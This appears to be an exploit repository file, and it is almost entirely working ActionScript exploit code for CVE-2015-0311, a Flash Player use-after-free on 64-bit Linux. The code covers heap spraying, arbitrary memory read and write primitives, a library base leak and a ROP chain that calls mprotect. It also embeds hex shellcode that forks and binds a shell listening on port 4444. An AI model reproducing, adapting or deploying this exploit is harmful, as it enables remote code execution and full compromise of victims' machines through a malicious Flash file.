README.md
Rendering markdown...
/*
Exploit for CVE-2015-0311 on 64 bit Linux Systems
Tested on Ubuntu 16.04 with Firefox 47.0 and Flash 11.2.202.438
Thanks to CoreSecurity for their Writeup on triggering the UAF
(https://blog.coresecurity.com/2015/03/04/exploiting-cve-2015-0311-a-use-after-free-in-adobe-flash-player/)
*/
package {
import flash.display.MovieClip;
import flash.utils.*;
import flash.system.*;
import avm2.intrinsics.memory.*;
import flash.external.ExternalInterface;
public class Exploit extends MovieClip {
private const BYTEARRAY_SPRAY_LEN:uint = 0x500; // how many ByteArrays to spray on the heap
private const VECTOR_SPRAY_LEN:uint = 0x500; // how many Vectors to spray on the heap
private const BYTEARRAY_MAGIC_NUM:uint = 0xdeadbeef; // magic number to search for (ByteArray)
private const VECTOR_MAGIC_NUM:uint = 0x1234; // magic number to search for (Vector)
private const UAF_MEMORY_LEN:uint = 0x24000; //Size of UAF memory
private var byteArraySpray:Vector.<ByteArray> = new Vector.<ByteArray>();
private var vectorSpray:Vector.<Vector.<Object>> = new Vector.<Vector.<Object>>();
private var cByteArrayOffset:uint = 0;
private var cByteArray:ByteArray;
private var cVectorOffset:uint = 0;
private var cVector:Vector.<Object>;
private var lfpBase:Uint64;
private var shellcode:ByteArray = new ByteArray();
// Payload can be arbitrarily replaced, this one makes a shell listen @ 4444
// taken from shell-storm.org
/*
1 ; compile with nasm -f bin -o shellcode shellcode.S
2 bits 64
3
4 push rax
5 ; fork syscall
6 mov rax, 57 ; sys_fork
7 syscall
8 ; are we in the child?
9 cmp rax,0
10 je child
11 parent:
12 pop rax
13 mov rsp, rbp
14 sub rsp, 344
15 ret
16 child:
17 dd 0xdecafbad // placeholder -> replace with actual payload
18 ; exit(0)
19 mov rax, 60
20 mov rdi, 0
21 syscall
*/
private var payload:String = "" +
// continue execution
"\x50\xb8\x39\x00\x00\x00\x0f\x05\x48\x83\xf8\x00\x74\x0c\x58" +
"\x48\x89\xec\x48\x81\xec\x58\x01\x00\x00\xc3" +
// shellcode
"\x31\xc0\x31\xdb\x31\xd2\xb0\x01\x89\xc6\xfe\xc0\x89\xc7\xb2" +
"\x06\xb0\x29\x0f\x05\x93\x48\x31\xc0\x50\x68\x02\x01\x11\x5c" +
"\x88\x44\x24\x01\x48\x89\xe6\xb2\x10\x89\xdf\xb0\x31\x0f\x05" +
"\xb0\x05\x89\xc6\x89\xdf\xb0\x32\x0f\x05\x31\xd2\x31\xf6\x89" +
"\xdf\xb0\x2b\x0f\x05\x89\xc7\x48\x31\xc0\x89\xc6\xb0\x21\x0f" +
"\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\xc6\xb0\x21" +
"\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68" +
"\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89" +
"\xe6\xb0\x3b\x0f\x05\x50\x5f\xb0\x3c\x0f\x05" +
// exit 0
"\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05"
public function Exploit():void {
doExploit();
Console.log("[*] exiting...");
}
public function doExploit():void {
try{
byteArraySpray.length = BYTEARRAY_SPRAY_LEN;
vectorSpray.length = VECTOR_SPRAY_LEN;
makeShellcode();
triggerUAF();
sprayHeapByteArray();
locateByteArray();
unsprayHeapByteArray();
sprayHeapVector();
locateVector();
leakLibflashplayerBase();
startRop();
Console.log("[+] exploit executed");
}catch(e:Error){
Console.log("unexpected exception");
Console.log(e.toString());
}
}
public function makeShellcode():void {
for(var i:uint=0; i<payload.length; i++){
shellcode.writeByte(payload.charCodeAt(i));
}
Console.log("[*] shellcode size: " + shellcode.length.toString());
return;
}
public function leakLibflashplayerBase():void {
var oAddr:Uint64 = new Uint64();
var vtableAddr:Uint64;
var leak:Object = new Object();
oAddr = leakAddr(leak);
vtableAddr = read64(oAddr); // read vtable
lfpBase = read64(vtableAddr); // read vtable[0]
lfpBase = lfpBase.subtract(0,0x7669b0);
Console.log("[+] lfp base = " + lfpBase.toString());
}
public function startRop():void {
var vtable:ByteArray = new ByteArray();
var rop:ByteArray = new ByteArray();
var storage:ByteArray = new ByteArray();
var vAddr: Uint64;
var hAddr: Uint64;
var rAddr: Uint64;
var sAddr: Uint64;
var hvAddr: Uint64 = new Uint64();
var hijack:Object = new Object();
sAddr = leakByteArrayRaw(shellcode);
hAddr = leakAddr(hijack);
hvAddr = read64(hAddr);
Console.log("[*] hijack object: "+hAddr.toString());
Console.log("[*] hijack object vtable: "+hvAddr.toString());
Console.log("[*] hijack object method: "+leakAddr(hijack.toString));
storage.writeUnsignedInt(0xdecafbad);
storage.writeUnsignedInt(0xdecafbad);
storage.writeUnsignedInt(0xdecafbad);
storage.writeUnsignedInt(0xdecafbad);
rop.endian = Endian.LITTLE_ENDIAN;
// mprotect syscall
// pop rax; ret;
addRopRel(rop, 0x4fd30);
addRop(rop, 0x0, 0xA); // rax -> 10 (mprotect)
// pop rdi; ret;
addRopRel(rop, 0x1b7192);
addRop(rop, sAddr.hi, sAddr.lo); // rdi -> shellcode start
// pop rsi; ret;
addRopRel(rop, 0x01b76b0);
addRop(rop, 0x0, 0x1337); // rsi -> shellcode length
// pop rdx; ret;
addRopRel(rop, 0x1f1b01);
addRop(rop, 0x0, 0x07); // rdx -> rwx (0x7)
// syscall; ret
addRopRel(rop, 0xdae483);
// shellcode takes care of restoring stack+continuing execution (skips the actual method call)
addRop(rop, sAddr.hi, sAddr.lo);
rAddr = leakByteArrayRaw(rop);
Console.log("[*] rop buffer: "+rAddr.toString());
vtable.endian = Endian.LITTLE_ENDIAN;
vtable.writeUnsignedInt(0xdeadbeef); // garbage
vtable.writeUnsignedInt(0xdeadbeef); // garbage
// After the first gadget is executed, RSP will point here
// this gadget makes it point to our ropchain
// pop rsp; ret
vtable.writeUnsignedInt(lfpBase.add(0,0x1b5dde).lo); // pop gadget lo
vtable.writeUnsignedInt(lfpBase.add(0,0x1b5dde).hi); // pop gadget hi
vtable.writeUnsignedInt(rAddr.lo); // fake stack lo
vtable.writeUnsignedInt(rAddr.hi); // fake stack hi
for(var i:uint; i<4; i++){
vtable.writeUnsignedInt(0xdeadbabe); // garbage
}
// this entry will be executed when toString is called
// RAX will point to the start of the vtable, the first
// gadget is a pivot that makes RSP point to the beginning
// of the vtable
// push rax; pop rsp; mov eax, edx; add rsp, 8; ret;
vtable.writeUnsignedInt(lfpBase.add(0, 0x514932).lo); //rip lo
vtable.writeUnsignedInt(lfpBase.add(0, 0x514932).hi); //rip hi
vAddr = leakByteArrayRaw(vtable);
write64(vAddr, hAddr); // patch vtable
hijack.toString(); // execute code
write64(hvAddr, hAddr); // restore vtable
}
public function addRop(rop:ByteArray, hi:uint, lo:uint):void{
rop.writeUnsignedInt(lo); // rip lo
rop.writeUnsignedInt(hi); // rip hi
}
public function addRopRel(rop:ByteArray, lo:uint):void{
var addr:Uint64;
addr = lfpBase.add(0,lo);
rop.writeUnsignedInt(addr.lo); // rip lo
rop.writeUnsignedInt(addr.hi); // rip hi
}
public function leakByteArrayRaw(ba:ByteArray):Uint64{
var addr:Uint64;
addr = leakAddr(ba);
addr = addr.add(0,32);
addr = read64(addr);
addr = addr.add(0,56)
return read64(addr);
}
public function read64(addr:Uint64):Uint64{
var old_hi:uint, old_lo:uint;
var val:Uint64 = new Uint64();
// store old pointer
old_hi = li32(cByteArrayOffset-12);
old_lo = li32(cByteArrayOffset-16);
// patch pointer with address
si32(addr.hi, cByteArrayOffset-12)
si32(addr.lo, cByteArrayOffset-16)
// read low 32 bit
cByteArray.position = 0;
val.lo = cByteArray.readUnsignedInt();
// read high 32 bit
val.hi = cByteArray.readUnsignedInt();
// restore old pointer
si32(old_hi, cByteArrayOffset-12);
si32(old_lo, cByteArrayOffset-16);
return val;
}
public function write64(val:Uint64, addr:Uint64):void{
var old_hi:uint, old_lo:uint;
// store old pointer
old_hi = li32(cByteArrayOffset-12);
old_lo = li32(cByteArrayOffset-16);
// patch pointer with address
si32(addr.hi, cByteArrayOffset-12)
si32(addr.lo, cByteArrayOffset-16)
// write low 32 bit
cByteArray.position = 0;
cByteArray.writeUnsignedInt(val.lo);
// write high 32 bit
cByteArray.writeUnsignedInt(val.hi);
// restore old pinter
si32(old_hi, cByteArrayOffset-12);
si32(old_lo, cByteArrayOffset-16);
}
public function write32(val:uint, addr:Uint64):void{
var old_hi:uint, old_lo:uint;
// store old pointer
old_hi = li32(cByteArrayOffset-12);
old_lo = li32(cByteArrayOffset-16);
// patch pointer with address
si32(addr.hi, cByteArrayOffset-12)
si32(addr.lo, cByteArrayOffset-16)
// write 32 bit
cByteArray.position = 0;
cByteArray.writeUnsignedInt(val);
// restore old pinter
si32(old_hi, cByteArrayOffset-12);
si32(old_lo, cByteArrayOffset-16);
}
public function leakAddr(o:Object):Uint64 {
var raw:Uint64 = new Uint64();
cVector[0] = o;
raw.hi = li32(cVectorOffset+12);
raw.lo = li32(cVectorOffset+8);
raw.lo &= 0xFFFFFFF8;
cVector[0] = null;
return raw;
}
public function sprayHeapVector():void {
for(var i:uint=0;i<vectorSpray.length;i++){
vectorSpray[i] = new Vector.<Object>();
vectorSpray[i].length = VECTOR_MAGIC_NUM;
vectorSpray[i][0] = new Object();
}
Console.log("[*] heap sprayed with Vectors");
}
public function unsprayHeapByteArray():void {
for(var i:uint=0;i<byteArraySpray.length;i++){
byteArraySpray[i] = null;
}
}
public function sprayHeapByteArray():void {
for(var i:uint=0;i<byteArraySpray.length;i++){
byteArraySpray[i] = new ByteArray();
byteArraySpray[i].length = 8;
byteArraySpray[i].writeUnsignedInt(0xcafebabe);
byteArraySpray[i].position = BYTEARRAY_MAGIC_NUM;
}
Console.log("[*] heap sprayed with ByteArrays");
}
public function locateVector():Vector.<Object> {
var val:uint;
for(var i:uint=0;i<UAF_MEMORY_LEN-3;i++){
val = li32(i);
if( val == VECTOR_MAGIC_NUM){
Console.log("[+] found vector in memory @ offset 0x" + i.toString(16));
cVectorOffset = i;
var raw_hi:uint, raw_lo:uint;
var raw:Uint64 = new Uint64();
raw.hi = li32(i+12);
raw.lo = li32(i+8);
si32(0x1, i);
for(var j:uint=0;j<vectorSpray.length;j++){
if(vectorSpray[j].length != VECTOR_MAGIC_NUM){
Console.log("[+] memory vector object found @ index " + j.toString(16));
si32(VECTOR_MAGIC_NUM, i);
cVector = vectorSpray[j];
return vectorSpray[j];
}
}
Console.log("[-] memory vector not found in array");
return null;
}
}
Console.log("[-] failed to find vector in memory");
return null;
}
public function locateByteArray():ByteArray {
var val:uint;
for(var i:uint=0;i<UAF_MEMORY_LEN-3;i++){
val = li32(i);
if( val == BYTEARRAY_MAGIC_NUM){
Console.log("[+] found bytearray in memory @ offset 0x" + i.toString(16));
cByteArrayOffset = i;
si32(0x0, i);
for(var j:uint=0;j<byteArraySpray.length;j++){
if(byteArraySpray[j].position != BYTEARRAY_MAGIC_NUM){
Console.log("[+] memory bytearray object found @ index " + j.toString(16));
cByteArray = byteArraySpray[j];
cByteArray.endian = Endian.LITTLE_ENDIAN;
return byteArraySpray[j];
}
}
Console.log("[-] corruptable bytearray not found");
return null;
}
}
Console.log("[-] failed to find bytearray in memory");
return null;
}
/* Thanks to CoreSecurity for their writeup on how to trigger the UAF */
public function triggerUAF():void {
var count:int = 0, pos:int = 0;
var byteArrayUAF:ByteArray = new ByteArray();
byteArrayUAF.endian = Endian.LITTLE_ENDIAN;
byteArrayUAF.position = 0;
/* Initialize the ByteArray with some data */
while (count < UAF_MEMORY_LEN / 4){
byteArrayUAF.writeUnsignedInt(0xfeedface + count);
count++;
}
/* Compress it with zlib */
byteArrayUAF.compress();
/* Overwrite the compressed data with junk, starting at offset 0x200 */
byteArrayUAF.position = 0x200;
pos = 0x200;
while (pos < byteArrayUAF.length){
byteArrayUAF.writeByte(pos);
pos++;
}
/* Create a subscriber for that ByteArray */
ApplicationDomain.currentDomain.domainMemory = byteArrayUAF;
/* Trigger the bug! ByteArray::UncompressViaZlibVariant will
leave ApplicationDomain.currentDomain.domainMemory
pointing to a buffer that is freed when the decompression fails. */
try{
byteArrayUAF.uncompress();
} catch(error:Error){
Console.log("[*] use-after-free triggered");
}
}
}
}
/* Adobe didn't think implementing an unsigned 64 bit integer would be
necessary, so I have to do their job. */
class Uint64 {
public var hi:uint;
public var lo:uint;
public function Uint64(hi:uint=0, lo:uint=0){
this.hi = hi;
this.lo = lo;
}
public function add(hi:uint, lo:uint):Uint64 {
var nHi:uint, nLo:uint;
nLo = this.lo + lo;
nHi = this.hi + hi;
if(nLo < this.lo){
nHi++;
}
return new Uint64(nHi, nLo);
}
public function subtract(hi:uint, lo:uint):Uint64 {
var nHi:uint, nLo:uint;
nLo = this.lo - lo;
nHi = this.hi - hi;
if(nLo > this.lo){
nHi--;
}
return new Uint64(nHi, nLo);
}
public function toString():String {
return "0x" + hi.toString(16) + Uint64.hexPad(lo);
}
private static function hexPad(num:uint):String {
var ret:String = num.toString(16);
while(ret.length < 32/4) {
ret = "0"+ret;
}
return ret;
}
}
/* Helper class for printing to Browser JS Console*/
class Console {
import flash.external.ExternalInterface;
public static function log(foo:String):void {
ExternalInterface.call("console.log", foo);
}
}